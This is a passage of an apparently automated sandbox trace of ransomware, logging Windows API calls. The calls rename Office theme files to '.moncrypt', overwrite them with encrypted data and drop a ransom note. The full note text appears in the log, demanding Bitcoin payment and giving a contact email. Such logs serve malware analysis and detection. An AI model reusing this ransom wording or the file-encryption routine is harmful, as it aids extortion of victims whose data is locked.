nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.760] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.760] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.760] SetFilePointer (in: hFile=0x18c, lDistanceToMove=46942, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xb75e [0052.760] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.760] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.761] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.772] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.772] CloseHandle (hObject=0x18c) returned 1 [0052.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.773] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.773] CloseHandle (hObject=0x18c) returned 1 [0052.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.773] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.773] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.773] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.773] GlobalUnlock (hMem=0x440004) returned 0 [0052.773] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.773] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.773] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.774] GlobalUnlock (hMem=0x440004) returned 0 [0052.774] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.774] GlobalUnlock (hMem=0x44000c) returned 0 [0052.774] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a3d8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.774] GetLastError () returned 0x2 [0052.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.775] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.776] CloseHandle (hObject=0x18c) returned 1 [0052.777] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0052.777] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.777] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.777] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.777] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.777] GlobalUnlock (hMem=0x44000c) returned 0 [0052.777] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.777] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.777] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.777] GlobalUnlock (hMem=0x44000c) returned 0 [0052.777] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.777] GlobalUnlock (hMem=0x440004) returned 0 [0052.777] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.777] CharLowerBuffW (in: lpsz="RADIAL.INF", cchLength=0xa | out: lpsz="radial.inf") returned 0xa [0052.777] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF", lpUsedDefaultChar=0x0) returned 73 [0052.778] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\RADIAL\\RADIAL.INF", lpUsedDefaultChar=0x0) returned 4 [0052.778] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.778] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.778] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.778] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.778] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.778] GlobalUnlock (hMem=0x440004) returned 0 [0052.778] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.778] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.778] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.778] GlobalUnlock (hMem=0x440004) returned 0 [0052.779] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.779] GlobalUnlock (hMem=0x44000c) returned 0 [0052.779] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.779] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.779] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0052.779] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.779] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0052.780] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.780] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.780] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.780] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.781] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.moncrypt")) returned 1 [0052.781] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.781] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.781] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x4c6b [0052.782] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.782] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.783] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.784] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.784] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.784] GlobalUnlock (hMem=0x440004) returned 0 [0052.784] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.784] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.784] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.784] GlobalUnlock (hMem=0x440004) returned 0 [0052.784] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.784] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.784] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.784] GlobalUnlock (hMem=0x44000c) returned 0 [0052.784] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.784] GlobalUnlock (hMem=0x440004) returned 0 [0052.784] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.784] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.784] GlobalUnlock (hMem=0x440004) returned 0 [0052.784] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.784] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.784] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.784] GlobalUnlock (hMem=0x440004) returned 0 [0052.784] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.784] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.784] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.785] SetFilePointer (in: hFile=0x18c, lDistanceToMove=19563, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x4c6b [0052.785] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.785] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.785] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.796] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.797] CloseHandle (hObject=0x18c) returned 1 [0052.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.797] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.798] CloseHandle (hObject=0x18c) returned 1 [0052.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.798] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.798] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.798] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.798] GlobalUnlock (hMem=0x440004) returned 0 [0052.798] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.798] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.798] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.798] GlobalUnlock (hMem=0x440004) returned 0 [0052.798] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.798] GlobalUnlock (hMem=0x44000c) returned 0 [0052.798] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40a462c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, 